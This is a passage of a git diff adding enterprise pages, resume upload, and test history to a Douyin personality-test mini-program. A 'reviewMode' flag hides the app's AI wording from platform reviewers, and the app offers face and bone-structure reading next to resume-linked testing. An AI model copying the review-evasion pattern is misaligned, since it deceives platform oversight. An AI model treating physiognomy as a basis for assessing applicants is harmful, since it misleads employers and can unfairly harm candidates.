+ // 合并所有来源:scene > options(分享链接) + const uid = parseInt(sceneParams.uid || options.uid || 0, 10) + let eid = parseInt(sceneParams.eid || options.eid || 0, 10) + + // 兼容旧格式 scene: e_企业ID + if (!eid && rawScene && rawScene.indexOf('e_') === 0) { + eid = parseInt(rawScene.slice(2), 10) || 0 + } + + console.log('[enterprise/onLoad] 解码参数 =>', { + rawScene, + sceneParams, + options, + uid, + eid + }) + + if (eid > 0) app.globalData.enterpriseIdFromScene = eid + + // 企业版分销绑定:uid > 0 且 eid > 0 时触发 + if (uid > 0 && eid > 0) { + app.globalData._pendingInviterId = uid + app.globalData._pendingInviterScope = 'enterprise' + app.globalData._pendingInviterEid = eid + } + // 获取状态栏高度和屏幕信息 + const systemInfo = tt.getSystemInfoSync() + const statusBarHeight = systemInfo.statusBarHeight || 0 + const screenWidth = systemInfo.screenWidth || 375 + const statusBarHeightRpx = (statusBarHeight * 750) / screenWidth + const navbarHeightRpx = statusBarHeightRpx + 88 + const gd = app.globalData + const rm = !!gd.reviewMode + this.setData({ + statusBarHeight: statusBarHeightRpx, + navbarHeight: navbarHeightRpx, + siteTitle: rm ? (gd.siteTitle || '神仙团队性格测试').replace(/AI/gi, '') : (gd.siteTitle || '神仙团队性格测试'), + startButtonEnterprise: rm ? '开始性格测试' : ((gd.textConfig && gd.textConfig.startButtonEnterprise) || '开始性格测试'), + aiAnalysisText: rm ? '分析' : ((gd.textConfig && gd.textConfig.aiAnalysisText) || '分析'), + reviewMode: rm + }) + + // 未绑定企业的用户:若从邀请码扫码进入(有 enterpriseIdFromScene)也允许使用企业版 + const userInfo = app.globalData.userInfo || tt.getStorageSync('userInfo') || {} + const fromInvite = !!app.globalData.enterpriseIdFromScene + const redirectBack = () => { + tt.showToast({ title: '您尚未绑定任何企业,无法使用企业版', icon: 'none', duration: 2500 }) + setTimeout(() => tt.switchTab({ url: '/pages/index/index' }), 600) + } + // 如果不是通过企业邀请码进入:沿用原有 hasEnterprise 判定 + if (!fromInvite) { + if (userInfo.hasEnterprise === true) { + app.getRuntimeConfig().then((cfg) => { + if (cfg && cfg.siteTitle) { + app.globalData.siteTitle = cfg.siteTitle + this.setData({ siteTitle: cfg.siteTitle }) + } + }).catch(() => {}) + return + } + if (userInfo.hasEnterprise === false) { + redirectBack() + return + } + } + app.ensureLogin() + .then(() => app.getRuntimeConfig()) + .then((cfg) => { + if (cfg) { + if (cfg.siteTitle) { + app.globalData.siteTitle = cfg.siteTitle + this.setData({ siteTitle: cfg.siteTitle }) + } + if (cfg.textConfig) { + app.globalData.textConfig = cfg.textConfig + const rm2 = !!app.globalData.reviewMode + this.setData({ + startButtonEnterprise: rm2 ? '开始性格测试' : (cfg.textConfig.startButtonEnterprise || '开始性格测试'), + aiAnalysisText: rm2 ? '分析' : (cfg.textConfig.aiAnalysisText || '分析') + }) + } + } + if ((cfg && cfg.pricingType) !== 'enterprise' && !app.globalData.enterpriseIdFromScene) { + redirectBack() + return + } + // 若通过企业邀请码进入(带 enterpriseIdFromScene),登录后绑定到 wechat_users.enterpriseId + const eid = app.globalData.enterpriseIdFromScene + if (eid) { + request({ + url: '/api/enterprise/bind', + method: 'POST', + data: { enterpriseId: eid }, + success(res) { + if (res.statusCode === 200 && res.data && res.data.code === 200) { + const data = res.data.data || {} + const merged = { ...(app.globalData.userInfo || {}), ...data } + app.globalData.userInfo = merged + tt.setStorageSync('userInfo', merged) + } + } + }) + } + }) + .catch(() => { + tt.showToast({ title: '请先登录', icon: 'none' }) + setTimeout(() => tt.switchTab({ url: '/pages/index/index' }), 600) + }) + }, + + onShow() { + if (typeof this.getTabBar === 'function' && this.getTabBar()) { + this.getTabBar().setData({ selected: 0 }) + } + try { getApp().globalData.appScope = 'enterprise' } catch (e) {} + const gd = getApp().globalData + const rm = !!gd.reviewMode + this.setData({ + siteTitle: rm ? (gd.siteTitle || '神仙团队性格测试').replace(/AI/gi, '') : (gd.siteTitle || '神仙团队性格测试'), + startButtonEnterprise: rm ? '开始性格测试' : ((gd.textConfig && gd.textConfig.startButtonEnterprise) || '开始性格测试'), + aiAnalysisText: rm ? '分析' : ((gd.textConfig && gd.textConfig.aiAnalysisText) || '分析'), + reviewMode: rm + }) + }, + + // 切换到个人版 + switchToPersonal() { + tt.switchTab({ + url: '/pages/index/index' + }) + }, + + startAITest() { + if (this.data.reviewMode) { + tt.navigateTo({ url: '/pages/test-select/index' }) + return + } + const eid = (app.globalData && app.globalData.enterpriseIdFromScene) || (app.globalData && app.globalData.userInfo && app.globalData.userInfo.enterpriseId) || (tt.getStorageSync('userInfo') || {}).enterpriseId || null + const query = eid ? `?enterpriseId=${eid}&pageSize=1` : '?pageSize=1' + request({ + url: '/api/enterprise/resume-uploads' + query, + method: 'GET', + needAuth: true, + success: (res) => { + const list = (res.data && res.data.code === 200 && res.data.data && res.data.data.list) ? res.data.data.list : [] + if (!list.length) { + tt.showModal({ + title: '提示', + content: '需要先上传简历后再开始测试,请到「我的」-「我的简历」中上传', + showCancel: true, + confirmText: '去上传', + success: (r) => { + if (r.confirm) { + tt.navigateTo({ url: '/pages/enterprise/resume-history' }) + } + } + }) + return + } + tt.switchTab({ url: '/pages/index/camera' }) + }, + fail: () => { + tt.showModal({ + title: '提示', + content: '需要先上传简历后再开始测试,请到「我的」-「我的简历」中上传', + showCancel: true, + confirmText: '去上传', + success: (r) => { + if (r.confirm) { + tt.navigateTo({ url: '/pages/enterprise/resume-history' }) + } + } + }) + } + }) + }, + + onShareAppMessage() { + const { getSharePath } = require('../../utils/share') + const rm = this.data.reviewMode + return { + title: rm ? '神仙团队性格测试 (企业版) - 团队分析与优化' : '神仙团队性格测试 (企业版) - 团队分析与优化', + path: getSharePath('/pages/enterprise/index') + } + }, + + onShareTimeline() { + const { buildShareQuery } = require('../../utils/share') + const rm = this.data.reviewMode + return { + title: rm ? '神仙团队性格测试 (企业版) - 团队分析与优化' : '神仙团队性格测试 (企业版) - 团队分析与优化', + query: buildShareQuery() + } + } +}) diff --git a/douyin-miniprogram/pages/enterprise/index.json b/douyin-miniprogram/pages/enterprise/index.json new file mode 100644 index 0000000..5f7271a --- /dev/null +++ b/douyin-miniprogram/pages/enterprise/index.json @@ -0,0 +1,7 @@ +{ + "navigationStyle": "custom", + "usingComponents": { + "custom-tab-bar": "/custom-tab-bar/index" + }, + "enablePullDownRefresh": false +} diff --git a/douyin-miniprogram/pages/enterprise/index.ttml b/douyin-miniprogram/pages/enterprise/index.ttml new file mode 100644 index 0000000..31ace3c --- /dev/null +++ b/douyin-miniprogram/pages/enterprise/index.ttml @@ -0,0 +1,80 @@ + + + + + + + 👤 + 个人版 + + {{siteTitle || '神仙团队性格测试'}} + + + + + + + + + + + + + + 面相分析 + 骨相分析 + 性格测评 + MBTI + DISC + + + + + 测试流程 + + + 1 + STEP1 + 拍摄照片 + + + + 2 + STEP2 + {{aiAnalysisText || '分析'}} + + + + 3 + STEP3 + 生成报告 + + + + + 1 + STEP1 + 选择测试 + + + + 2 + STEP2 + 回答问题 + + + + 3 + STEP3 + 查看结果 + + + + + + {{startButtonEnterprise || '开始性格测试'}} + + + + + diff --git a/douyin-miniprogram/pages/enterprise/index.ttss b/douyin-miniprogram/pages/enterprise/index.ttss new file mode 100644 index 0000000..d3726f7 --- /dev/null +++ b/douyin-miniprogram/pages/enterprise/index.ttss @@ -0,0 +1,283 @@ +/* pages/enterprise/index.wxss - 企业版首页样式(与个人版相同,仅背景不同) */ +.container { + min-height: 100vh; + width: 100vw; + overflow-x: hidden; + overflow-y: auto; + background: linear-gradient(135deg, #f8f9ff 0%, #f0f4ff 50%, #ffffff 100%); + position: relative; + display: flex; + flex-direction: column; + box-sizing: border-box; + padding-bottom: calc(100rpx + env(safe-area-inset-bottom) + 40rpx); +} + +/* 背景装饰圆形 */ +.bg-decoration { + position: absolute; + width: 600rpx; + height: 600rpx; + border-radius: 50%; + pointer-events: none; + z-index: 0; +} + +.bg-top-right { + top: -200rpx; + right: -200rpx; + background: radial-gradient(circle, rgba(139, 92, 246, 0.08) 0%, transparent 70%); +} + +.bg-bottom-left { + /* bottom: -200rpx; + left: -200rpx; */ + bottom: 0; + left: 0; + background: radial-gradient(circle, rgba(99, 102, 241, 0.06) 0%, transparent 70%); +} + +/* 自定义导航栏 */ +.custom-navbar { + position: fixed; + top: 0; + left: 0; + right: 0; + background: #ffffff; + z-index: 10000; + width: 100%; +} + +.navbar-content { + height: 88rpx; + display: flex; + align-items: center; + justify-content: space-between; + padding: 0 40rpx; + position: relative; + background: #ffffff; + min-height: 88rpx; +} + +.navbar-title { + position: absolute; + left: 50%; + transform: translateX(-50%); + font-size: 36rpx; + font-weight: 700; + color: #333; + text-align: center; + flex: 1; +} + +.navbar-placeholder { + width: 140rpx; + flex-shrink: 0; +} + +.switch-personal-btn { + display: flex; + align-items: center; + gap: 8rpx; + padding: 12rpx 20rpx; + background: rgba(99, 102, 241, 0.1); + border-radius: 30rpx; + border: 1rpx solid rgba(99, 102, 241, 0.2); + flex-shrink: 0; + z-index: 10; +} + +.personal-icon { + font-size: 28rpx; +} + +.personal-text { + font-size: 24rpx; + color: #6366f1; + font-weight: 600; +} + +.top-image-section { + width: 100%; + padding: 15rpx 40rpx 20rpx; + flex-shrink: 0; + box-sizing: border-box; + position: relative; + z-index: 1; + margin-top: 0; +} + +.image-container { + position: relative; + width: 100%; +} + +.image-wrapper { + position: relative; + width: 100%; + padding-top: 100%; + border-radius: 50%; + overflow: hidden; + background: #ffffff; + display: flex; + align-items: center; + justify-content: center; + box-shadow: 0 8rpx 32rpx rgba(0, 0, 0, 0.12); +} + +.main-image { + position: absolute; + top: 50%; + left: 50%; + transform: translate(-50%, -50%); + width: 85%; + height: 85%; + display: block; +} + +.float-tag { + position: absolute; + padding: 12rpx 24rpx; + border-radius: 30rpx; + font-size: 24rpx; + font-weight: 600; + color: #e63946; + background: rgba(255, 255, 255, 0.95); + box-shadow: 0 4rpx 16rpx rgba(230, 57, 70, 0.2); + white-space: nowrap; + z-index: 10; +} + +.tag-1 { + top: 15%; + right: 10rpx; +} + +.tag-2 { + bottom: 25%; + left: 0; +} + +.tag-3 { + bottom: 25%; + right: 0; +} + +.process-section { + padding: 15rpx 40rpx 20rpx; + flex-shrink: 0; + position: relative; + z-index: 1; +} + +.section-title { + font-size: 32rpx; + font-weight: 700; + color: #e63946; + text-align: center; + margin-bottom: 25rpx; +} + +.process-steps { + display: flex; + align-items: center; + justify-content: space-between; + padding: 0 10rpx; +} + +.step-item { + display: flex; + flex-direction: column; + align-items: center; + flex: 1; +} + +.step-circle { + width: 70rpx; + height: 70rpx; + border-radius: 50%; + background: #b8b9bc; + display: flex; + align-items: center; + justify-content: center; + font-size: 36rpx; + font-weight: 700; + color: #fff; + margin-bottom: 12rpx; +} + +.step-circle.active { + background: #e63946; +} + +.step-label { + font-size: 20rpx; + color: #666; + margin-bottom: 4rpx; +} + +.step-text { + font-size: 24rpx; + color: #333; + font-weight: 600; +} + +.step-line { + width: 50rpx; + height: 4rpx; + background: #e0e0e0; + margin: 0 6rpx 50rpx; +} + +.start-button { + /* 顶部与中间按钮的间距:上 20,下 10 */ + margin: 20rpx 40rpx 0; + background: linear-gradient(135deg, #6366f1 0%, #8b5cf6 100%); + border-radius: 50rpx; + padding: 24rpx; + text-align: center; + box-shadow: 0 8rpx 30rpx rgba(99, 102, 241, 0.3); + position: relative; + z-index: 1; +} + +.button-text { + font-size: 30rpx; + color: #fff; + font-weight: 700; +} + +.upload-button { + margin: 10rpx 40rpx 0; + border: 2rpx solid #8b5cf6; + border-radius: 50rpx; + padding: 20rpx; + text-align: center; + background: #fff; + position: relative; + z-index: 1; +} + +.upload-button-primary { + margin: 20rpx 40rpx 0; + background: linear-gradient(135deg, #6366f1 0%, #8b5cf6 100%); + border: none; +} + +.upload-button-primary .upload-text { + color: #fff; +} + +.upload-text { + font-size: 26rpx; + color: #8b5cf6; + font-weight: 600; +} + +/* 确保底部导航显示 */ +custom-tab-bar { + position: fixed; + bottom: 0; + left: 0; + right: 0; + z-index: 9999; +} diff --git a/douyin-miniprogram/pages/enterprise/resume-history.js b/douyin-miniprogram/pages/enterprise/resume-history.js new file mode 100644 index 0000000..e665ba5 --- /dev/null +++ b/douyin-miniprogram/pages/enterprise/resume-history.js @@ -0,0 +1,208 @@ +// pages/enterprise/resume-history.js - 简历上传记录(历史) +const app = getApp() +const { request } = require('../../utils/request') + +Page({ + data: { + list: [], + loading: true, + empty: false + }, + + onLoad() { + this.loadList() + }, + + onShow() { + if (this.data.list.length > 0 || !this.data.loading) { + this.loadList() + } + }, + + loadList() { + this.setData({ loading: true }) + const eid = (app.globalData && app.globalData.enterpriseIdFromScene) || (app.globalData && app.globalData.userInfo && app.globalData.userInfo.enterpriseId) || (tt.getStorageSync('userInfo') || {}).enterpriseId || null + const query = eid ? `?enterpriseId=${eid}&pageSize=100` : '?pageSize=100' + request({ + url: '/api/enterprise/resume-uploads' + query, + method: 'GET', + needAuth: true, + success: (res) => { + this.setData({ loading: false }) + if (res.statusCode === 200 && res.data && res.data.code === 200 && Array.isArray(res.data.data && res.data.data.list)) { + const list = (res.data.data.list || []).map((item) => ({ + id: item.id, + url: item.url || '', + fileName: item.fileName || '', + uploadedAt: item.uploadedAt || 0, + uploadedAtStr: item.uploadedAtStr || this._formatTime(item.uploadedAt), + isDefault: !!item.isDefault + })) + this.setData({ list, empty: list.length === 0 }) + } else { + this.setData({ list: [], empty: true }) + } + }, + fail: () => this.setData({ loading: false, list: [], empty: true }) + }) + }, + + uploadResume() { + const eid = (app.globalData && app.globalData.enterpriseIdFromScene) || (app.globalData && app.globalData.userInfo && app.globalData.userInfo.enterpriseId) || (tt.getStorageSync('userInfo') || {}).enterpriseId || null + tt.chooseImage({ + count: 1, + sizeType: ['original', 'compressed'], + sourceType: ['album', 'camera'], + success: (fileRes) => { + const files = fileRes.tempFilePaths || [] + if (!files.length) { + tt.showToast({ title: '请选择文件', icon: 'none' }) + return + } + const filePath = files[0] + const fileName = '简历文件' + const apiBase = (app.globalData && app.globalData.apiBase) ? app.globalData.apiBase.replace(/\/$/, '') : '' + const token = (app.globalData && app.globalData.token) || tt.getStorageSync('token') || '' + const uploadUrl = apiBase + '/api/upload/file' + tt.showLoading({ title: '上传中...', mask: true }) + tt.uploadFile({ + url: uploadUrl, + filePath, + name: 'file', + header: token ? { Authorization: 'Bearer ' + token } : {}, + success: (res) => { + tt.hideLoading() + try { + const data = JSON.parse(res.data) + if (data.code === 200 && data.data && data.data.url) { + const url = data.data.url + request({ + url: '/api/enterprise/resume-uploads', + method: 'POST', + needAuth: true, + data: { url, fileName, enterpriseId: eid }, + success: (r) => { + if (r.statusCode === 200 && r.data && r.data.code === 200) { + tt.showToast({ title: '已上传并记录', icon: 'success' }) + this.loadList() + } else { + tt.showToast({ title: r.data && r.data.message || '记录失败', icon: 'none' }) + } + }, + fail: () => tt.showToast({ title: '记录失败,请重试', icon: 'none' }) + }) + } else { + tt.showToast({ title: data.message || '上传失败', icon: 'none' }) + } + } catch (e) { + tt.showToast({ title: '解析上传结果失败', icon: 'none' }) + } + }, + fail: () => { + tt.hideLoading() + tt.showToast({ title: '上传失败,请稍后重试', icon: 'none' }) + } + }) + }, + fail: () => tt.showToast({ title: '已取消选择', icon: 'none' }) + }) + }, + + _formatTime(ts) { + if (!ts) return '' + const d = new Date(ts) + const y = d.getFullYear() + const m = String(d.getMonth() + 1).padStart(2, '0') + const day = String(d.getDate()).padStart(2, '0') + const h = String(d.getHours()).padStart(2, '0') + const min = String(d.getMinutes()).padStart(2, '0') + return `${y}-${m}-${day} ${h}:${min}` + }, + + previewResume(e) { + const url = e.currentTarget.dataset.url + const fileName = e.currentTarget.dataset.fileName || '' + if (!url) return + const fullUrl = url.startsWith('http') ? url : ((app.globalData && app.globalData.apiBase) || '').replace(/\/$/, '') + url + const ext = (fileName.split('.').pop() || '').toLowerCase() + const imageExts = ['jpg', 'jpeg', 'png', 'gif', 'webp'] + const isImage = imageExts.indexOf(ext) !== -1 + + tt.downloadFile({ + url: fullUrl, + success: (res) => { + if (res.statusCode !== 200 || !res.tempFilePath) { + tt.showToast({ title: '打开失败', icon: 'none' }) + return + } + const filePath = res.tempFilePath + if (isImage) { + tt.previewImage({ current: filePath, urls: [filePath] }) + } else { + const docTypes = ['doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'pdf'] + const fileType = docTypes.indexOf(ext) !== -1 ? ext : 'pdf' + tt.openDocument({ + filePath, + fileType, + showMenu: true, + fail: () => tt.showToast({ title: '该格式暂不支持预览', icon: 'none' }) + }) + } + }, + fail: () => tt.showToast({ title: '打开失败', icon: 'none' }) + }) + }, + + setDefault(e) { + const id = e.currentTarget.dataset.id + if (!id) return + request({ + url: '/api/enterprise/resume-uploads/set-default', + method: 'POST', + needAuth: true, + data: { id }, + success: (res) => { + if (res.statusCode === 200 && res.data && res.data.code === 200) { + tt.showToast({ title: '已设为默认简历', icon: 'success' }) + this.loadList() + } else { + tt.showToast({ title: res.data && res.data.message || '设置失败', icon: 'none' }) + } + }, + fail: () => tt.showToast({ title: '设置失败', icon: 'none' }) + }) + }, + + deleteResume(e) { + const id = e.currentTarget.dataset.id + if (!id) return + tt.showModal({ + title: '确认删除', + content: '删除后不可恢复,确定删除该简历记录?', + confirmText: '删除', + confirmColor: '#f43f5e', + success: (res) => { + if (!res.confirm) return + request({ + url: '/api/enterprise/resume-uploads/delete', + method: 'POST', + needAuth: true, + data: { id }, + success: (r) => { + if (r.statusCode === 200 && r.data && r.data.code === 200) { + tt.showToast({ title: '已删除', icon: 'success' }) + this.loadList() + } else { + tt.showToast({ title: r.data && r.data.message || '删除失败', icon: 'none' }) + } + }, + fail: () => tt.showToast({ title: '删除失败', icon: 'none' }) + }) + } + }) + }, + + goBack() { + tt.navigateBack({ fail: () => tt.switchTab({ url: '/pages/profile/index' }) }) + } +}) diff --git a/douyin-miniprogram/pages/enterprise/resume-history.json b/douyin-miniprogram/pages/enterprise/resume-history.json new file mode 100644 index 0000000..fd94c8f --- /dev/null +++ b/douyin-miniprogram/pages/enterprise/resume-history.json @@ -0,0 +1,6 @@ +{ + "navigationBarTitleText": "我的简历", + "navigationBarBackgroundColor": "#FFFFFF", + "navigationBarTextStyle": "black", + "usingComponents": {} +} diff --git a/douyin-miniprogram/pages/enterprise/resume-history.ttml b/douyin-miniprogram/pages/enterprise/resume-history.ttml new file mode 100644 index 0000000..75fdb7d --- /dev/null +++ b/douyin-miniprogram/pages/enterprise/resume-history.ttml @@ -0,0 +1,66 @@ + + + + + + + + + + 仅展示当前绑定企业的简历上传记录 + + + + + + + + 📄 + + + {{item.fileName}} + {{item.uploadedAtStr}} + + + 默认 + 设为默认 + + + + + + 删除 + + + + 预览查看 + + + + + + + + + + 📁 + + 暂无上传记录 + 点击下方按钮上传简历,或返回企业版首页上传 + 上传简历 + 返回首页 + + + + + 加载中... + + + + + + + 上传简历 + + + diff --git a/douyin-miniprogram/pages/enterprise/resume-history.ttss b/douyin-miniprogram/pages/enterprise/resume-history.ttss new file mode 100644 index 0000000..1f8d0ee --- /dev/null +++ b/douyin-miniprogram/pages/enterprise/resume-history.ttss @@ -0,0 +1,342 @@ +/* pages/enterprise/resume-history.wxss */ +.page { + min-height: 100vh; + background: linear-gradient(135deg, #f8f9ff 0%, #f0f4ff 50%, #ffffff 100%); + position: relative; + display: flex; + flex-direction: column; + box-sizing: border-box; +} + +/* 背景装饰圆形 */ +.bg-decoration { + position: absolute; + width: 600rpx; + height: 600rpx; + border-radius: 50%; + pointer-events: none; + z-index: 0; +} + +.bg-top-right { + top: -200rpx; + right: -200rpx; + background: radial-gradient(circle, rgba(139, 92, 246, 0.08) 0%, transparent 70%); +} + +.bg-bottom-left { + bottom: 0; + left: 0; + background: radial-gradient(circle, rgba(99, 102, 241, 0.06) 0%, transparent 70%); +} + +.container { + position: relative; + z-index: 1; + flex: 1; + padding: 24rpx 32rpx 60rpx; + padding-bottom: calc(60rpx + 120rpx); +} + +/* 底部悬浮上传按钮(有数据时显示) */ +.float-upload-wrap { + position: fixed; + left: 0; + right: 0; + bottom: 0; + z-index: 100; + padding: 24rpx 32rpx; + padding-bottom: calc(24rpx + env(safe-area-inset-bottom)); + background: linear-gradient(to top, rgba(255,255,255,0.98) 0%, rgba(255,255,255,0.95) 70%, transparent); +} + +.float-upload-btn { + display: flex; + align-items: center; + justify-content: center; + gap: 12rpx; + height: 96rpx; + background: linear-gradient(135deg, #6366f1 0%, #8b5cf6 100%); + color: #fff; + font-size: 30rpx; + font-weight: 700; + border-radius: 48rpx; + box-shadow: 0 8rpx 24rpx rgba(99, 102, 241, 0.35); +} + +.float-upload-btn:active { + opacity: 0.92; +} + +.float-upload-icon { + font-size: 36rpx; + line-height: 1; +} + +.float-upload-text { + letter-spacing: 1rpx; +} + +.tip-section { + margin-bottom: 24rpx; + padding: 0 8rpx; + display: flex; + align-items: center; + justify-content: space-between; + flex-wrap: wrap; + gap: 16rpx; +} + +.tip-text { + font-size: 24rpx; + color: #999; +} + +.upload-entry { + display: flex; + align-items: center; + gap: 8rpx; + padding: 14rpx 28rpx; + background: linear-gradient(135deg, #6366f1 0%, #8b5cf6 100%); + color: #fff; + font-size: 26rpx; + font-weight: 600; + border-radius: 32rpx; + box-shadow: 0 6rpx 16rpx rgba(99, 102, 241, 0.25); +} + +.upload-entry:active { + opacity: 0.9; + transform: scale(0.98); +} + +.upload-entry-icon { + font-size: 28rpx; + line-height: 1; +} + +/* 简历卡片 */ +.resume-card { + background: #fff; + border-radius: 24rpx; + padding: 28rpx; + margin-bottom: 24rpx; + box-shadow: 0 8rpx 20rpx rgba(0, 0, 0, 0.04); + border: 1rpx solid rgba(255, 255, 255, 0.8); +} + +.file-info { + display: flex; + align-items: flex-start; + gap: 20rpx; + margin-bottom: 28rpx; + position: relative; + overflow: hidden; + min-height: 0; +} + +.file-icon-wrap { + width: 80rpx; + height: 80rpx; + background: #f0f2ff; + border-radius: 16rpx; + display: flex; + align-items: center; + justify-content: center; +} + +.file-icon { + font-size: 40rpx; +} + +.file-meta { + width: 80%; + min-width: 0; + overflow: hidden; + padding-right: 16rpx; +} + +.top-right-actions { + flex-shrink: 0; + align-self: flex-start; +} + +.set-default-text { + font-size: 24rpx; + color: #6366f1; + padding: 4rpx 0; +} + +.set-default-text:active { + opacity: 0.8; +} + +.name { + display: block; + font-size: 30rpx; + font-weight: 600; + color: #333; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; + margin-bottom: 6rpx; + width: 85%; +} + +.time { + display: block; + font-size: 24rpx; + color: #999; +} + +.default-badge { + position: absolute; + top: 0; + right: 0; + background: linear-gradient(135deg, #6366f1 0%, #8b5cf6 100%); + color: #fff; + font-size: 20rpx; + font-weight: 600; + padding: 4rpx 16rpx; + border-radius: 10rpx; +} + +/* 卡片操作区 */ +.card-footer { + display: flex; + align-items: center; + justify-content: space-between; + padding-top: 24rpx; + border-top: 1rpx solid #f5f6fa; +} + +.secondary-actions { + display: flex; + align-items: center; + gap: 20rpx; +} + +.action-btn { + display: flex; + align-items: center; + justify-content: center; + height: 64rpx; + border-radius: 32rpx; + font-size: 24rpx; + font-weight: 600; + transition: all 0.2s ease; +} + +.action-btn:active { + opacity: 0.7; + transform: scale(0.98); +} + +.text-btn { + padding: 0 16rpx; + background: transparent; +} + +.action-icon { + margin-right: 6rpx; + font-size: 26rpx; +} + +.delete-btn { + color: #f43f5e; + font-size: 26rpx; +} + + +.primary-btn { + padding: 0 32rpx; + background: linear-gradient(135deg, #6366f1 0%, #8b5cf6 100%); + color: #fff; + box-shadow: 0 4rpx 12rpx rgba(99, 102, 241, 0.2); +} + +/* 空状态 */ +.empty-state { + padding: 120rpx 60rpx; + display: flex; + flex-direction: column; + align-items: center; + text-align: center; +} + +.empty-icon-wrap { + width: 160rpx; + height: 160rpx; + background: #fff; + border-radius: 80rpx; + display: flex; + align-items: center; + justify-content: center; + margin-bottom: 40rpx; + box-shadow: 0 10rpx 30rpx rgba(0, 0, 0, 0.05); +} + +.empty-icon { + font-size: 80rpx; +} + +.empty-text { + font-size: 34rpx; + font-weight: 700; + color: #333; + margin-bottom: 16rpx; +} + +.empty-tip { + font-size: 26rpx; + color: #999; + line-height: 1.6; + margin-bottom: 48rpx; +} + +.go-upload-btn { + padding: 24rpx 64rpx; + background: linear-gradient(135deg, #6366f1 0%, #8b5cf6 100%); + color: #fff; + font-size: 28rpx; + font-weight: 700; + border-radius: 50rpx; + box-shadow: 0 10rpx 20rpx rgba(99, 102, 241, 0.2); + margin-bottom: 20rpx; +} + +.back-home-btn { + padding: 20rpx 48rpx; + font-size: 26rpx; + color: #6366f1; + font-weight: 600; + border: 2rpx solid #6366f1; + border-radius: 40rpx; +} + +/* 加载中 */ +.loading-wrap { + padding: 100rpx 0; + display: flex; + flex-direction: column; + align-items: center; + gap: 20rpx; +} + +.loading-spinner { + width: 40rpx; + height: 40rpx; + border: 4rpx solid rgba(99, 102, 241, 0.1); + border-top-color: #6366f1; + border-radius: 50%; + animation: spin 0.8s linear infinite; +} + +@keyframes spin { + to { transform: rotate(360deg); } +} + +.loading-text { + font-size: 26rpx; + color: #999; +} diff --git a/douyin-miniprogram/pages/history/index.js b/douyin-miniprogram/pages/history/index.js new file mode 100644 index 0000000..5b66461 --- /dev/null +++ b/douyin-miniprogram/pages/history/index.js @@ -0,0 +1,162 @@ +// pages/history/index.js - 测试历史记录(一次拉取全部,时间行右侧展示企业名) +const app = getApp() + +Page({ + data: { + activeTab: 'all', + tabName: '', + list: [], + total: 0, + loading: false, + isEnterprise: false, + reviewMode: false + }, + + _checkIsEnterprise() { + const gd = app.globalData || {} + const storedUser = tt.getStorageSync('userInfo') || null + const scope = gd.appScope || 'personal' + const enterpriseId = gd.enterpriseIdFromScene + || (gd.userInfo && gd.userInfo.enterpriseId) + || (storedUser && storedUser.enterpriseId) + || null + return scope === 'enterprise' || !!enterpriseId + }, + + onLoad() { + this.setData({ isEnterprise: this._checkIsEnterprise() }) + this.loadAll() + }, + + onShow() { + this.setData({ isEnterprise: this._checkIsEnterprise(), reviewMode: !!app.globalData.reviewMode }) + this.loadAll() + if (typeof this.getTabBar === 'function' && this.getTabBar()) { + this.getTabBar().setData({ selected: 1 }) + } + }, + + // 一次拉取全部历史(pageSize=500) + loadAll() { + if (this.data.loading) return + this.setData({ loading: true, list: [] }) + + const token = app.globalData.token || tt.getStorageSync('token') + const apiBase = app.globalData.apiBase + const { activeTab } = this.data + const typeParam = activeTab === 'all' ? '' : `&type=${activeTab}` + + if (!token || !apiBase) { + this.setData({ loading: false }) + this.loadFromStorage() + return + } + + tt.request({ + url: `${apiBase}/api/test/history?page=1&pageSize=500${typeParam}&scope=all`, + method: 'GET', + header: { Authorization: `Bearer ${token}` }, + success: (res) => { + if (res.statusCode === 200 && res.data && res.data.data) { + const payload = res.data.data + const rawList = Array.isArray(payload) ? payload : (payload.list || []) + const total = Array.isArray(payload) ? rawList.length : (payload.total || 0) + const formatted = this.formatList(rawList) + this.setData({ list: formatted, total, loading: false }) + } else { + this.setData({ loading: false }) + this.loadFromStorage() + } + }, + fail: () => { + this.setData({ loading: false }) + this.loadFromStorage() + } + }) + }, + + formatList(rawList) { + const typeNames = { mbti: 'MBTI性格测试', disc: 'DISC性格测试', pdp: 'PDP行为偏好测试', ai: '面相分析', resume: '简历综合分析' } + const emojis = { mbti: '🧠', disc: '📊', pdp: '🦁', ai: '👁️', resume: '📋' } + + return rawList.map((item, idx) => { + if (item.typeName) { + return { ...item, enterpriseName: item.enterpriseName || '' } + } + const testType = (item.testType || item.type || 'mbti').toLowerCase() + const ts = item.createdAt || item.testTime || item.timestamp + return { + ...item, + type: testType, + key: testType + '_' + (item.id || idx), + emoji: emojis[testType] || '📋', + typeName: typeNames[testType] || '测试', + testTime: ts ? this.formatTime(typeof ts === 'number' ? ts * 1000 : ts) : '', + enterpriseName: item.enterpriseName || '' + } + }) + }, + + // 本地缓存回退 + loadFromStorage() { + const mbtiResult = tt.getStorageSync('mbtiResult') + const discResult = tt.getStorageSync('discResult') + const pdpResult = tt.getStorageSync('pdpResult') + const aiResult = tt.getStorageSync('aiResult') + const list = [] + if (mbtiResult) list.push({ type: 'mbti', key: 'mbti', emoji: '🧠', typeName: 'MBTI性格测试', resultText: mbtiResult.mbtiType || '未知', testTime: this.formatTime(mbtiResult.timestamp), data: mbtiResult }) + if (pdpResult) list.push({ type: 'pdp', key: 'pdp', emoji: pdpResult.description?.emoji || '🦁', typeName: 'PDP行为偏好测试', resultText: pdpResult.description?.type || '未知', testTime: this.formatTime(pdpResult.timestamp || pdpResult.completedAt), data: pdpResult }) + if (discResult) list.push({ type: 'disc', key: 'disc', emoji: '📊', typeName: 'DISC性格测试', resultText: (discResult.dominantType || '未知') + '型', testTime: this.formatTime(discResult.timestamp || discResult.completedAt), data: discResult }) + if (aiResult && !app.globalData.reviewMode) list.push({ type: 'ai', key: 'ai', emoji: '👁️', typeName: '面相分析', resultText: aiResult.mbti || '未知', testTime: this.formatTime(aiResult.timestamp || aiResult.completedAt), data: aiResult }) + this.setData({ list, total: list.length, loading: false }) + }, + + changeTab(e) { + const tab = e.currentTarget.dataset.tab + const names = { all: '', mbti: 'MBTI', pdp: 'PDP', disc: 'DISC', ai: '面相', resume: '简历' } + this.setData({ activeTab: tab, tabName: names[tab] || '' }) + this.loadAll() + }, + + formatTime(timestamp) { + if (!timestamp) return '未知时间' + const date = new Date(timestamp) + const y = date.getFullYear() + const m = String(date.getMonth() + 1).padStart(2, '0') + const d = String(date.getDate()).padStart(2, '0') + const h = String(date.getHours()).padStart(2, '0') + const min = 